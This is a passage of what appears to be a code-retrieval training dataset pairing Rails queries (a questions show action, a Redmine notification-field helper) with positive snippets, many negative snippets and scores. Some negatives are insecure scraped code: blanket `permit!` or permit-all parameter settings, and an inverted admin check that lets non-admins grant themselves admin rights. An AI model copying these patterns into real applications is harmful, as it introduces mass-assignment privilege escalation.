"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
we receive a request: GET /questions/56 params[:id] will be '56'
|
def show
@answer = Answer.new
respond_to do |format|
format.html {render} # render questions/show.html.erb
format.json {render json: @question.to_json}
format.xml {render xml: @question.to_xml}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_question\n\t\t@question = Question.where(id:params[:id])[0]\n\t\trender json: {success: false, message: 'Invalid Question ID !'}, status: 400 if @question.nil?\n\tend",
"def question_by_id(id)\n\t\t\t\tbegin \n\t\t\t\t\tquestion = Question.find(id)\n\t\t\t\trescue ActiveRecord::RecordNotFound\n\t\t\t\t\thalt 404\n\t\t\t\tend\n\t\t\tend",
"def get_id\n params[:id]\n end",
"def index\n @questid = params[:questionnaire_id]\n end",
"def set_question\n @question = Question.where(id: params[:id]).first\n end",
"def question\n Question.find_by_id(questions_id)\n end",
"def id\n params[:id] \n end",
"def id\n @params[\"id\"]\n end",
"def id\n params[:id]\n end",
"def set_question\n\t \t\t@question = Question.where(id:params[:question_id])[0]\n render json: {success: false, message: 'Invalid Question ID !'}, status: 400 if @question.nil?\n \tend",
"def params\n { id: 3 }\n end",
"def params_for_get\n \"params[:id]\"\n end",
"def id_param\n params[:id]\n end",
"def set_question\n @question = Discovery::Question.find(params[:id])\n end",
"def show\n if params[:id]\n\n @question = Question.find(params[:id])\n redirect_to root_path(:question_id => @question.id) \n else\n\n redirect_to root_path(:notice => \"Cannot find question!\") \n end\n end",
"def show\n @id = params[:id].to_i\n end",
"def request_id; end",
"def show\n @question = Question.find(params[:question_id])\n end",
"def set_question \n @question = Question.find(params[:id])\n end",
"def get_question(form_name, id)\n get_form(form_name)[:questions][id]\n end",
"def show\n @questions = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find_by(id: params[:question_id])\n end",
"def show\n question = QuestionOuverteService.instance.afficherQuestionParId(params[:id])\n (question != nil) ? (render json: question, status: :ok) : (render json: nil, status: :not_found)\n end",
"def show\n @id = params[:id]\n end",
"def show\n @id = params[:id]\n end",
"def set_question\r\n @question = Question.find(params[:id])\r\n end",
"def set_question \n @question = Question.find(params[:id])\n end",
"def set_question\n \t@question = Question.find(params[:id])\n \tsession[:question_id]=params[:id]\n end",
"def show\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[\"question_id\"])\n end",
"def get_questions int_id\r\n @all_questions = Questionare.find_by_interview_id int_id\r\n end",
"def index\n @questions = Question.all\n @question = Question.new\n\n #@survey = Survey.new\n #if params[:question_id]\n # @question = Question.find(params[:question_id])\n #else\n # @question = Question.find(1)\n #end\n\n end",
"def show\n @id=params[:qid]\n @question=Question.find(@id)\n session[:qid]=@id\n @answers=Answer.where(:question_id => @id)\n #added by lyz\n @article = Article.find(@question.article_id)\n end",
"def new\n @question_response = QuestionResponse.new\n @question_response.question_id = params[:question_id]\n\t\trender :action => 'new'\n end",
"def set_question\n @question = Question.find(params[:id] || params[:question_id])\n rescue ActiveRecord::RecordNotFound\n render_json serialize_errors(\"Question ##{params[:id] || params[:question_id]} not found\"), :not_found\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end",
"def set_question\n @question = Question.find(params[:id])\n end"
] |
[
"0.667184",
"0.6616867",
"0.6544606",
"0.653479",
"0.651962",
"0.6417866",
"0.6400528",
"0.63655317",
"0.63566685",
"0.63515216",
"0.6319808",
"0.63007754",
"0.62128717",
"0.61836505",
"0.61555564",
"0.6148156",
"0.6144812",
"0.6103929",
"0.6068086",
"0.60625094",
"0.6035445",
"0.60325295",
"0.60325295",
"0.60325295",
"0.60325295",
"0.60325295",
"0.60325295",
"0.60325295",
"0.60325295",
"0.60325295",
"0.60325295",
"0.60325295",
"0.60325295",
"0.60325295",
"0.60325295",
"0.60325295",
"0.60325295",
"0.6032123",
"0.6024316",
"0.60079277",
"0.60079277",
"0.60056245",
"0.6003619",
"0.5994425",
"0.59896964",
"0.5981134",
"0.59785235",
"0.59775627",
"0.5971931",
"0.5948154",
"0.5940302",
"0.5932199",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275",
"0.59231275"
] |
0.0
|
-1
|
Renders a notification field for a Redmine::Notifiable option
|
def notification_field(notifiable)
tag_data =
if notifiable.parent.present?
{:parent_notifiable => notifiable.parent}
else
{:disables => "input[data-parent-notifiable=#{notifiable.name}]"}
end
tag = check_box_tag('settings[notified_events][]',
notifiable.name,
setting_value('notified_events').include?(notifiable.name),
:id => nil,
:data => tag_data)
text = l_or_humanize(notifiable.name, :prefix => 'label_')
options = {}
if notifiable.parent.present?
options[:class] = "parent"
end
content_tag(:label, tag + text, options)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def notification_text(notification)\n notifiable = notification.notifiable\n text = if notification.medium?\n t('notifications.new_medium')\n elsif notification.course?\n course_notification_card_text(notifiable)\n elsif notification.lecture?\n lecture_notification_card_text(notifiable)\n else\n t('notifications.new_announcement')\n end\n text.html_safe\n end",
"def pending_referral_note\n # pending? ? h.content_tag(:h5, I18n.t('pending_referral_note', max: User::ACCEPTED_INVITATION_LIMIT, scope: 'devise.registrations.edit').html_safe, class: 'text-danger') : ''\n end",
"def notifications\n\t\tif signed_in?\n\t\t\tn = current_user.extra.notifications\n\t\t\tif n > 0\n\t\t\t\t\"(\" + n.to_s + \")\"\n\t\t\tend\n\t\tend\n\tend",
"def notification_link(notification)\n notifiable = notification.notifiable\n return '' unless notifiable\n text = if notification.medium?\n medium_notification_card_link(notifiable)\n elsif notification.course?\n course_notification_card_link\n elsif notification.lecture?\n lecture_notification_card_link\n else\n notifiable.details\n end\n text.html_safe\n end",
"def cmd_notify_show_options\n\t\t\t\tprint_status(\"Parameters:\")\n\t\t\t\tprint_good(\"Webhook URL: #{@webhook_url}\")\n\t\t\t\tprint_good(\"Slack User: #{@user_name}\")\n\t\t\t\tprint_good(\"Source: #{$source}\")\n\t\t\tend",
"def message\n \"You have a new notification!\"\n end",
"def notifier_type\n options[:notifier_type]\n end",
"def show\n _render member: @admin_notification\n end",
"def redraw_notify_area\n @sel.text = \"<b>Notifier #{@selected_size} abonnement(s) ?</b>\"\n @sel.enabled = (@selected_size > 0)\n @notify_button.enabled = (@selected_size > 0)\n number = Notifications::Base.notifications_number\n @number.text = \"<b>Notification à faire pour #{number} abonnement(s)</b>\"\n end",
"def show\n # notification_email\n end",
"def growl_notify\n\t\t\toptions = { :title => @application,\n\t\t\t\t\t\t\t\t\t:description => @message.gsub(/[\\n]+/, \"\"),\n\t\t\t\t\t\t\t\t\t:application_name => @application,\n\t\t\t\t\t\t\t\t\t:image_from_location => @icon,\n\t\t\t\t\t\t\t\t\t:sticky => false,\n\t\t\t\t\t\t\t\t\t:priority => 0,\n\t\t\t\t\t\t\t\t\t:with_name => notifications.first }\n @growl.notify options\t\t\t\n\t\tend",
"def text\n Notification.generate(self, self.class.level)\n end",
"def display\n locals = { notification: self }\n locals[object.target_type.underscore.to_sym] = object.target\n h.render partial_path, locals\n end",
"def message_text\n user_option = user&.send(option_name(@option))\n\n user_option_text = if user_option\n \"_Current state:_ \" + user_option\n else\n 'This setting was not set for you yet.'\n end\n\n \"*#{option_button(@option)}*\\n#{user_option_text}\"\n end",
"def set_notification_message\n case self.acted_with_type\n when \"Opportunity\"\n if self.anonymous\n self.message = \"An opportunity has been posted\"\n elsif self.targetable_type == 'Network'\n self.message = \"#{self.actor.fname.capitalize} #{self.action} an opportunity\"\n #within #{self.targetable.title.capitalize}\"\n elsif self.action == 'acknowledged'\n self.message = \"#{self.actor.fname.capitalize} has #{self.action} your opportunity\"\n elsif self.action == 'sent'\n self.message= \"#{self.actor.fname.capitalize} #{self.action} you an opportunity\"\n self.message += \" directly\" if self.action == 'sent'\n else\n self.message= \"#{self.actor.fname.capitalize} #{self.action} an opportunity\"\n end\n when \"Connection\"\n self.message = \"#{self.actor.fname.capitalize} has #{self.action} you to connect\"\n else\n end\n end",
"def create_notification(notification)\n \"<div class='alert alert-primary notification-body' role='alert'><%= #{notification.body} %></div>\"\n end",
"def act notification, options={}\n # ...or nothing\n end",
"def send_reply\n if self.response_changed?\n @notifiable = self\n @tutor = User.find(self.user_id)\n @student = User.find(self.pupil_id)\n\n if self.response == \"Declined\"\n @description = self.pupil.title + \" has sadly declined your offer\"\n @notifiable.notifications.create(:user => @tutor ,:receiver_id => @student.id, :message => 'You hve declined the offer by ' + @tutor.title)\n else\n @description = self.pupil.title + \" is now a student at your school\"\n @notifiable.notifications.create(:user => @tutor ,:receiver_id => @student.id, :message => 'You are now a student of ' + @tutor.title)\n end\n @notifiable.notifications.create(:user => @student, :receiver_id => @tutor.id, :message => @description)\n end\n end",
"def render\n _ModalDialog.reminder_form!.wide_form color: 'blank' do\n # header\n _h4 'Send reminders'\n\n _pre.report do\n @list.each do |action|\n _CandidateAction action: action\n end\n end\n\n # buttons\n _button.btn_default 'Close', data_dismiss: 'modal'\n _button.btn_info 'Dry Run', onClick: self.click, disabled: @disabled\n _button.btn_primary 'Submit', onClick: self.click, disabled: @disabled\n end\n end",
"def show_notfication\n UserMailer.show_notfication\n end",
"def notificable(notificable_params = {})\n @notification = {\n :emails => notificable_params[:emails].join(';'),\n :message => notificable_params[:message]\n }\n end",
"def show_reminder\n repo = PluginsHelper.plugins_raw_url\n UI.notice \"Don't forget to create a Pull Request on #{repo}\\n\" \\\n ' to add your plugin to the plugins.json file once it is released!'\n end",
"def notifyflags=(notify_flags)\r\n\t\t\t`#{BITS::BITSADMIN} /setnotifyflags {#{@id}} #{notify_flags}`\r\n\t\tend",
"def check_notification\n referral = self\n admin = referral.job.admin\n\n if referral.is_interested == true && referral.is_admin_notified == false\n # binding.pry\n if referral.update_attribute(:is_admin_notified, true)\n ReferralMailer.deliver_admin_notification(referral, admin)\n referral.save\n else\n render 'edit', error: \"We had an issue with your referral request. Please try again.\"\n end\n end\n end",
"def active_directory_password_change_notification(person, options={})\n @person = person\n mail(:to=>[@person.personal_email],\n :subject=>options[:subject] || \"Password change notification (\"+@person.email+\")\",\n :date=>Time.now)\n end",
"def custom_label_method\n \"#{self.email}\"\n end",
"def add_notifier_field\n html_options = {\n :size => \"12\",\n :title => _(\"Add users by name or email\"),\n :class => \"tooltip\"\n }\n text_field_with_auto_complete(:user, :name, html_options,\n :after_update_element => \"addUserToTask\")\n end",
"def render_review_status(opts)\n field = opts[:document][opts[:field]]\n # binding.pry\n if field.is_a? Array\n field.map { |s| t \"mxd_type_labels.review_status_labels.#{s}\" }.join ' ; '\n else\n t \"mxd_type_labels.review_status_labels.#{field}\"\n end\n end",
"def notifyflags\r\n\t\t\t`#{BITS::BITSADMIN} /getnotifyflags {#{@id}}`\r\n\t\tend",
"def custom_label_method\n \"#{self.email}\"\n end",
"def send_devise_notification(notification, *args)\n notification = @override_devise_notification if @override_devise_notification.present?\n model = @override_devise_model || self\n if @invitation_message.present?\n if args[1]\n args[1][:personal_message] = @invitation_message\n else\n args[1] = { personal_message: @invitation_message }\n end\n end\n devise_mailer.send(notification, model, *args).deliver_now\n end",
"def notify(payload)\n\t\tgeneration_id = [@parameters['generation_id']]\n\t\toptions = {data: { payload: payload } }\n\tend",
"def notification(to,f)\n send_as :notification\n recipients to\n from f\n fbml \"Not\"\n end",
"def message\n \"You have a new reminder!\"\n end",
"def notified\n time = handle[\"USER_TEMPLATE/#{NOTIFIED_FLAG}\"]\n time.to_i if time\n end",
"def notified\n time = handle[\"USER_TEMPLATE/#{NOTIFIED_FLAG}\"]\n time.to_i if time\n end",
"def set_Notify(value)\n set_input(\"Notify\", value)\n end",
"def message\n @options.fetch(:message) { \"\" }\n end",
"def collaboration_notification(attributes={})\n invited_by = attributes[:invited_by]\n\t\t@sender_name = invited_by.try(:full_name)\n\t\t@invitee_name = attributes[:invitee].full_name\n\t\tcollaboration_object_type = attributes[:invitation_type].class.to_s.downcase\n\t\t@collaboration_link = \"#{ENV['DOMAIN']}/#/app/#{collaboration_object_type.pluralize}/#{attributes[:invitation_type].id}/accept_invitation\"\n\t\t@reject_link = \"#{ENV['DOMAIN']}/#/app/#{attributes[:invitation_type].class.name.downcase.pluralize}/#{attributes[:invitation_type].id}/reject_invitation\"\n\t\t@message = attributes[:invitation_message].to_s\n\t\t@subject = \"Your help has been requested for a new #{collaboration_object_type} in Grapple.\"\n\t\tp \"-----------------------------------------------------------------------------\"\n\t\tp \"Existing User - Sending CollabInvitation to #{@invitee_name} - #{attributes[:email]}\"\n\t\tp \"-----------------------------------------------------------------------------\"\n\t\tif collaboration_object_type == \"project\"\n\t\t\t@project_title = attributes[:invitation_type].title\n\t\t\tmail(\"existing_user_project_collaboration_invitation\",email: attributes[:email])\n\t\telsif collaboration_object_type == \"document\"\n\t\t\t@document_title = attributes[:invitation_type].title\n\t\t\t@project_title = attributes[:invitation_type].project.title\n\t\t\tmail(\"existing_user_document_collaboration_invitation\",email: attributes[:email])\n\t\tend\n\tend",
"def notification_link(n)\n url_for get_root(n.notifiable)\n end",
"def changes_notification\n NotifierMailer.changes_notification(User.limit(2), {\n title: 'Email test title',\n content: 'Email test content',\n body: 'Email test body'\n })\n end",
"def alert_subject\n \"Field Statuses Have Changed!\"\n end",
"def render\n tag.div(children, class: \"badge #{label_class}\") + computed_visibility_notice\n end",
"def show\n NOTIFICATION[:show].call @notification, nil\n end",
"def notify_show(data,\n bufferp,\n uber_empty,\n tagsn,\n isdisplayed,\n ishilight,\n prefix,\n message)\n\n server = Weechat.buffer_get_string(bufferp, \"localvar_name\").split('.')[0]\n nick = Weechat.info_get 'irc_nick', server\n\n if (Weechat.buffer_get_string(bufferp, \"localvar_type\") == \"private\" || ishilight == 1.to_s) && prefix != nick\n if delay_ok?\n `notify-send \"#{prefix}\" \"#{message}\" -t #{DELAY} -i ~/.weechat/message.png&`\n touch_delay\n end\n end\n\n Weechat::WEECHAT_RC_OK\nend",
"def update(options={}, &block)\n apply_options(options, &block)\n if @notification\n notify_notification_update(@notification, summary, body, icon_path, nil)\n show\n else\n show!\n end\n end",
"def custom_item_form options\n group_html = \"<li id='#{options[:id]}' class='p'>\"\n group_html += options[:label] ? \"<label for='#{options[:id]}'>#{options[:label]}</label>\" : \"\"\n group_html += \"<div class='wrap-custom-html'>#{options[:html]}</div>\"\n group_html += options[:hint] ? \"<p class='inline-hints'>#{options[:hint]}</p>\" : \"\"\n group_html += \"</li>\"\n group_html.html_safe\n end",
"def notify(message, opts = {})\n super\n self.class.require_gem_safely\n\n opts = DEFAULTS.merge(\n summary: opts.delete(:title),\n icon_path: opts.delete(:image),\n body: message,\n urgency: _libnotify_urgency(opts.delete(:type))\n ).merge(opts)\n\n ::Libnotify.show(opts)\n end",
"def notify( notification_type, source_user, options={})\n notification = post_notification(notification_type, source_user, options)\n if true # XXX User's profile approves\n # Mapping from notification types to email types\n case notification_type\n when :share_recipe\n self.shared_recipe = options[:what]\n msg = RpMailer.sharing_notice(notification)\n msg.deliver\n when :make_friend\n :friend_notice\n end\n end\n end",
"def notice(notification)\n @notification = notification\n\n mail to: @notification.user_email, :subject => \"Cipher-tech wants you to know: #{@notification.notifier_type} #{@notification.message}\"\n end",
"def growl(title, msg, opt = {})\n cmd = \"growlnotify -n autotest --image #{opt[:image]}#{opt[:priority] && \" -p #{opt[:priority]} \"} -m #{msg.inspect} #{title} #{opt[:stick]}\"\n system cmd\nend",
"def employeer_notification\n NotificationMailer.employeer_notification\n end",
"def deliver_invitation_with options={}\n if model = options[:model]\n # self.override_devise_notification = \"invitation_instructions_with_#{model.class.model_name.to_s.underscore}\"\n self.override_devise_notification = \"invitation_instructions_with_member\"\n self.override_devise_model = model\n end\n if message = options[:personal_message]\n self.invitation_message = message\n end\n deliver_invitation\n end",
"def show_notifications\n unless @sum_notif > 0\n animateornot=\"\"\n else\n animateornot=\"icon-animated-vertical\"\n end\n link_to raw(\"<i class='icon-envelope-alt icon-only #{animateornot}'></i><span class='badge badge-success'>#{@sum_notif}</span>\"), short_notif_path, :remote => true, 'data-toggle' => \"dropdown\", :class=> \"dropdown-toggle\"\n end",
"def notification_email_allowed?(notifiable, key)\n resolve_value(_notification_email_allowed, notifiable, key)\n end",
"def notify_send(type, message)\n @notify_send ||= '/usr/bin/notify-send'\n puts \"#@notify_send -i gtk-dialog-#{type} 'CruiseControl' \\\"#{message}\\\"\"\n `#@notify_send -i gtk-dialog-#{type} 'CruiseControl' \\\"#{message}\\\"`\n end",
"def get_field_edit_html\n '<HTML NOT IMPLEMENTED YET>'\n end",
"def notification_badge\n if current_user.notifications.any?\n mi.notifications\n else\n mi.notifications_none\n end\n end",
"def notification_id\n @id\n end",
"def notifications\n end",
"def contact\n Notifierrails.contact\n end",
"def svn_warning_error_messages_for(message, type)\n render(:partial => \"projects/settings/svn_#{type}_messages\",\n :locals => {\"svn_#{type}_message\".to_sym => message})\n end",
"def notes_for(object, options = {})\n \n options[:editable] = true if options[:editable].nil?\n \n render :partial => 'note/notes', :object => object, :locals => {:options=>options}\n \n end",
"def message_notification\n fetch(:hipchat_announce, false)\n end",
"def localized_info_field(f, name, lang = current_person.locale) # :nodoc:\n render({:partial => '/partials/localized_info_form_content',\n :locals => {:f => f, :name => name, :lang => lang}})\n end",
"def _perform_notify(message, options = {})\n change_color = options[:change_color]\n locations = Array(options[:color_location])\n display_the_title = options[:display_title]\n display_message = options[:display_message]\n type = options[:type].to_s\n title = options[:title]\n\n if change_color\n color = _tmux_color(type, options)\n locations.each do |location|\n Client.new(client(options)).set(location, color)\n end\n end\n\n _display_title(type, title, message, options) if display_the_title\n\n return unless display_message\n _display_message(type, title, message, options)\n end",
"def name\n\t\t\t\t\"notify\"\n\t\t\tend",
"def name\n\t\t\t\t\"notify\"\n\t\t\tend",
"def growl(title, body, type)\n @growl.notify(\"ruby-growl Notification\", title, body) if @config[:growl][:global] and @config[:growl][type]\n end",
"def deliver_security_notification(options={})\n Mailer.deliver_security_notification(\n user,\n User.current,\n options.merge(\n title: :label_my_account,\n url: {controller: 'my', action: 'account'}\n )\n )\n end",
"def notify content = nil, options = nil, html_options = nil, &block\n UiBibz::Ui::Alert.new(content, options, html_options, &block).render\n end",
"def cmd_notify_show_parms\n\t\t\t\tprint_status(\"Parameters:\")\n\t\t\t\tprint_good(\"Webhook URL: #{@webhook_url}\")\n\t\t\t\tprint_good(\"Slack User: #{@user_name}\")\n\t\t\tend",
"def render\r\n t(:div, {},\r\n *splat_each(props.appointment_proposal_infos) do |appointment_proposal_info|\r\n t(:div, {},\r\n if appointment_proposal_info.anytime_for_date\r\n t(:p, {}, \"any time for #{Moment.new(appointment_proposal_info.anytime_for_date).format('YYYY-MM-DD')}\")\r\n else\r\n t(:p, {}, \"#{appointment_proposal_info.doctor.profile.name}: #{Moment.new(appointment_proposal_info.date_from).format('HH:mm')} - #{Moment.new(appointment_proposal_info.date_to).format('HH:mm')}\")\r\n end\r\n )\r\n end\r\n )\r\n end",
"def gift_message_field\n $tracer.trace(__method__)\n return ToolTag.new(span.className(create_ats_regex_string(\"ats-wis-giftmsgtxtbox\")).textarea, __method__)\n end",
"def redraw_mails(option, value, mailing)\n if value.is_a?(Array)\n param, value = value.first, value.last\n end\n remote_function(\n :url => send(\"redraw_mails_#{controller.controller_name}_path\"),\n :with => \"{ #{option}: '#{param || value}', 'related': #{mailing} }\",\n :condition => \"$('#{option}').innerHTML != '#{value}'\",\n :loading => \"$('#{option}').update('#{value}'); $('loading').show()\",\n :complete => \"$('loading').hide()\"\n )\n end",
"def notification_devise_resource\n resolve_value(_notification_devise_resource)\n end",
"def set_Notify(value)\n set_input(\"Notify\", value)\n end",
"def set_Notify(value)\n set_input(\"Notify\", value)\n end",
"def notify(f, change, type = 'friend')\n reciprocal = f.mutual\n message = {\n type: type,\n email: current_user.email,\n change: change\n }\n if reciprocal\n message[:id] = reciprocal.id\n message[:other_id] = f.id\n else\n message[:id] = f.id\n end\n Notification.create user: f.other, body: message.to_json\n end",
"def notifications_to_show_user\n notifications ||= UserEvent.where('user_id = ? AND error_during_render = ? AND event_type != ?', self.id, false, UserEvent.event_type_value(:video_play))\n end",
"def reject\n respond_to do |format|\n user_quest = UsersQuest.update(params[:id],:is_accepted => false,:is_rejected => true)\n notif_user = User.find_by(:id => user_quest.assignor_id)\n notif = Notification.create(:user_id => user_quest.assignor_id,\n :title => \"#{@current_user.first_name} #{@current_user.last_name} has rejected your assigned quest: #{Quest.find(params[:id]).title}\",\n :url => quest_path(user_quest.quest_id))\n @options = {:channel => \"/notifs/#{user_quest.assignor_id}\",\n :message => notif.title,\n :count => \"#{User.unread_notifications_count notif_user}\", :redirect => quest_path(params[:id]),\n :url => quest_path(user_quest.quest_id),\n :id => notif.id}\n format.html {redirect_to quest_path(params[:id])}\n format.js\n end\n end",
"def _perform_notify(message, opts = {})\n opts = opts.merge(\n summary: opts[:title],\n icon_path: opts[:image],\n body: message,\n urgency: opts[:urgency] || (opts[:type] == \"failed\" ? :normal : :low)\n )\n\n ::Libnotify.show(opts)\n end",
"def get_field_edit_html\n '<HTML NOT IMPLEMENT YET>'\n end",
"def compose_message_postuler\n <<-HTML\nAdmin, un nouveau candidat pour le #{short_name}.\n\nPatronyme : #{param :user_patronyme}\nMail : #{param :user_mail}\n\nPrésentation : #{param :user_presentation}\n\nMotivation : #{param :user_motivation}\n\nIl faut lui donner une réponse sous 15 jours.\n HTML\n end",
"def contact_field(contact, field_name, label=field_name)\n html=[]\n style=\"edit\"\n html << \"<label>#{label}</label>\"\n val = html_escape(contact.send(field_name))\n if val.blank?\n val = 'Click to edit' \n style << \" subtle-text\"\n end\n html << \"<span id=\\\"#{field_name}\\-#{contact.id}\\\" class=\\\"#{style}\\\">#{val}</span><br>\"\n html.join(\"\").html_safe\n end",
"def clarification_options(sender, options={})\n options.merge({:type => :clarification_request, :sender => sender, :receiver => self.person, \n :clarifiable => self})\n end",
"def notification_msg\n author_name = author.firstname\n \"An issue has been reported by #{author_name}\"\n end",
"def twiki_created_notification(person, options={})\n @person = person\n mail(:to=>[@person.personal_email],\n :subject=>options[:subject] || \"Twiki account information (\"+@person.email+\")\",\n :date=>Time.now)\n end",
"def ref\n @messaging['optin']['ref']\n end",
